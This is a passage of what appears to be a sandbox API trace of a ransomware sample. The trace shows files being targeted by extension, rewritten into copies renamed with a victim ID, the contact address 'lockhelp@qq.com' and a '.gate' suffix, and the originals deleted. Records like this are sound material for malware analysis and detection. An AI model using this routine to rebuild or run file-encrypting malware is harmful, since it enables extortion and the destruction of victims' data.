lpNumberOfBytesRead=0x38bfecc*=0x56c7, lpOverlapped=0x0) returned 1 [0317.867] WriteFile (in: hFile=0x498, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x56d0, lpOverlapped=0x0) returned 1 [0317.868] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.868] WriteFile (in: hFile=0x498, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x112, lpOverlapped=0x0) returned 1 [0317.868] SetEndOfFile (hFile=0x498) returned 1 [0317.868] CloseHandle (hObject=0x498) returned 1 [0317.868] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.868] SetEndOfFile (hFile=0x414) returned 1 [0317.872] CloseHandle (hObject=0x414) returned 1 [0317.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ppd.xrm-ms")) returned 1 [0317.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0317.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0317.872] lstrlenW (lpString=".doc") returned 4 [0317.873] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString=".docx") returned 5 [0317.873] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.873] lstrlenW (lpString=".pdf") returned 4 [0317.873] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString=".xls") returned 4 [0317.873] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString=".xlsx") returned 5 [0317.873] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.873] lstrlenW (lpString=".ppt") returned 4 [0317.873] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0317.873] lstrlenW (lpString=".zip") returned 4 [0317.873] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString=".rar") returned 4 [0317.873] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString=".bz2") returned 4 [0317.873] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString=".7z") returned 3 [0317.873] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0317.873] lstrlenW (lpString=".dbf") returned 4 [0317.873] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0317.873] lstrlenW (lpString=".1cd") returned 4 [0317.873] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ppd.xrm-ms") returned 81 [0317.873] lstrlenW (lpString=".jpg") returned 4 [0317.873] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.874] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11625) returned 1 [0317.874] CloseHandle (hObject=0x414) returned 1 [0317.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 0x220 [0317.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.874] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.874] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0317.875] GetLastError () returned 0x0 [0317.875] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2d69, lpOverlapped=0x0) returned 1 [0317.911] WriteFile (in: hFile=0x498, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2d70, lpOverlapped=0x0) returned 1 [0317.912] ReadFile (in: hFile=0x414, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0317.912] WriteFile (in: hFile=0x498, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x118, lpOverlapped=0x0) returned 1 [0317.912] SetEndOfFile (hFile=0x498) returned 1 [0317.912] CloseHandle (hObject=0x498) returned 1 [0317.912] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.912] SetEndOfFile (hFile=0x414) returned 1 [0317.926] CloseHandle (hObject=0x414) returned 1 [0317.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0317.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0317.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0317.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0317.929] lstrlenW (lpString=".doc") returned 4 [0317.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString=".docx") returned 5 [0317.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0317.930] lstrlenW (lpString=".pdf") returned 4 [0317.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString=".xls") returned 4 [0317.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString=".xlsx") returned 5 [0317.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0317.930] lstrlenW (lpString=".ppt") returned 4 [0317.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0317.930] lstrlenW (lpString=".zip") returned 4 [0317.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString=".rar") returned 4 [0317.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString=".bz2") returned 4 [0317.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString=".7z") returned 3 [0317.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0317.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0317.930] lstrlenW (lpString=".dbf") returned 4 [0317.930] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0317.930] lstrlenW (lpString=".1cd") returned 4 [0317.930] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0317.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0317.930] lstrlenW (lpString=".jpg") returned 4 [0317.930] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0317.931] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=11215) returned 1 [0317.931] CloseHandle (hObject=0x564) returned 1 [0317.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0317.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0317.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0317.932] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.932] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0317.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0317.933] GetLastError () returned 0x0 [0317.933] ReadFile (in: hFile=0x564, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0318.109] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0318.110] ReadFile (in: hFile=0x564, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0318.110] WriteFile (in: hFile=0x414, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x126, lpOverlapped=0x0) returned 1 [0318.110] SetEndOfFile (hFile=0x414) returned 1 [0318.110] CloseHandle (hObject=0x414) returned 1 [0318.110] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.110] SetEndOfFile (hFile=0x564) returned 1 [0318.112] CloseHandle (hObject=0x564) returned 1 [0318.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0318.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0318.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0318.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0318.877] lstrlenW (lpString=".doc") returned 4 [0318.877] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0318.877] lstrlenW (lpString=".docx") returned 5 [0318.877] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0318.877] lstrlenW (lpString=".pdf") returned 4 [0318.877] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0318.877] lstrlenW (lpString=".xls") returned 4 [0318.877] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0318.877] lstrlenW (lpString=".xlsx") returned 5 [0318.877] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0318.877] lstrlenW (lpString=".ppt") returned 4 [0318.877] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0318.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0318.877] lstrlenW (lpString=".zip") returned 4 [0318.878] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0318.878] lstrlenW (lpString=".rar") returned 4 [0318.878] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0318.878] lstrlenW (lpString=".bz2") returned 4 [0318.878] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0318.878] lstrlenW (lpString=".7z") returned 3 [0318.878] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0318.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0318.878] lstrlenW (lpString=".dbf") returned 4 [0318.878] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0318.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0318.878] lstrlenW (lpString=".1cd") returned 4 [0318.878] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0318.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0318.878] lstrlenW (lpString=".jpg") returned 4 [0318.878] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0318.878] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740768 | out: hHeap=0x6e0000) returned 1 [0318.878] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x73c180 | out: hHeap=0x6e0000) returned 1 [0318.878] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f33528 | out: hHeap=0x6e0000) returned 1 [0318.879] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x3f43530 | out: hHeap=0x6e0000) returned 1 [0318.880] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x42d1020 | out: hHeap=0x6e0000) returned 1 [0318.884] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x740570 | out: hHeap=0x6e0000) returned 1 [0318.884] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b260 [0318.884] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b260, Size=0x20) returned 0x7ddef8 [0318.884] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x3f8b308 [0318.884] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x3f8b308, Size=0x20) returned 0x7dddb8 [0318.884] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.885] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.885] Wow64DisableWow64FsRedirection (in: OldValue=0x38bff50 | out: OldValue=0x38bff50*=0x1) returned 1 [0318.885] lstrlenW (lpString="kernel32.dll") returned 12 [0318.885] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7dddb8 | out: hHeap=0x6e0000) returned 1 [0318.885] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.885] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7ddef8 | out: hHeap=0x6e0000) returned 1 Thread: id = 60 os_tid = 0xed8 [0272.270] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f53e18 [0272.271] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10000) returned 0x3f63e20 [0272.271] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740588 [0272.271] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x6) returned 0x73c190 [0272.271] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x740480 [0272.271] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x100000) returned 0x43e3020 [0272.274] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7405a0 [0272.274] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7405a0, Size=0x20) returned 0x71eb60 [0272.274] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x10) returned 0x7405a0 [0272.274] RtlReAllocateHeap (Heap=0x6e0000, Flags=0x0, Ptr=0x7405a0, Size=0x20) returned 0x71ed18 [0272.274] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0272.274] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0272.274] Wow64DisableWow64FsRedirection (in: OldValue=0x39fff50 | out: OldValue=0x39fff50*=0x0) returned 1 [0272.274] lstrlenW (lpString="kernel32.dll") returned 12 [0272.274] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71eb60 | out: hHeap=0x6e0000) returned 1 [0272.274] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0272.274] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x71ed18 | out: hHeap=0x6e0000) returned 1 [0272.275] Sleep (dwMilliseconds=0x64) [0272.484] Sleep (dwMilliseconds=0x64) [0272.669] Sleep (dwMilliseconds=0x64) [0272.986] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0272.986] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0272.986] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0272.986] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=76632) returned 1 [0272.986] CloseHandle (hObject=0x37c) returned 1 [0272.987] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0272.987] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.016] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.017] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.017] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.017] lstrlenW (lpString=".doc") returned 4 [0273.017] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.017] lstrlenW (lpString=".docx") returned 5 [0273.017] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.017] lstrlenW (lpString=".pdf") returned 4 [0273.017] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.017] lstrlenW (lpString=".xls") returned 4 [0273.017] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.017] lstrlenW (lpString=".xlsx") returned 5 [0273.017] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.017] lstrlenW (lpString=".ppt") returned 4 [0273.017] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.017] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.017] lstrlenW (lpString=".zip") returned 4 [0273.017] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.017] lstrlenW (lpString=".rar") returned 4 [0273.017] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.017] lstrlenW (lpString=".bz2") returned 4 [0273.017] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.017] lstrlenW (lpString=".7z") returned 3 [0273.017] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.017] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.017] lstrlenW (lpString=".dbf") returned 4 [0273.017] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.017] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.017] lstrlenW (lpString=".1cd") returned 4 [0273.017] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.017] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.017] lstrlenW (lpString=".jpg") returned 4 [0273.017] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.018] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.018] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.018] lstrlenW (lpString=".doc") returned 4 [0273.018] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0273.018] lstrlenW (lpString=".docx") returned 5 [0273.018] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0273.018] lstrlenW (lpString=".pdf") returned 4 [0273.018] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0273.018] lstrlenW (lpString=".xls") returned 4 [0273.018] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0273.018] lstrlenW (lpString=".xlsx") returned 5 [0273.018] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0273.018] lstrlenW (lpString=".ppt") returned 4 [0273.018] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0273.018] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.018] lstrlenW (lpString=".zip") returned 4 [0273.018] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0273.018] lstrlenW (lpString=".rar") returned 4 [0273.018] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0273.018] lstrlenW (lpString=".bz2") returned 4 [0273.018] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0273.018] lstrlenW (lpString=".7z") returned 3 [0273.018] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0273.018] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.018] lstrlenW (lpString=".dbf") returned 4 [0273.018] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0273.018] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.018] lstrlenW (lpString=".1cd") returned 4 [0273.018] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0273.018] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0273.018] lstrlenW (lpString=".jpg") returned 4 [0273.018] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0273.019] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0273.019] lstrlenW (lpString="memtest.exe.mui") returned 15 [0273.019] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0273.271] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=45984) returned 1 [0273.271] CloseHandle (hObject=0x384) returned 1 [0273.271] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20 [0273.271] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0273.271] CreateFileW 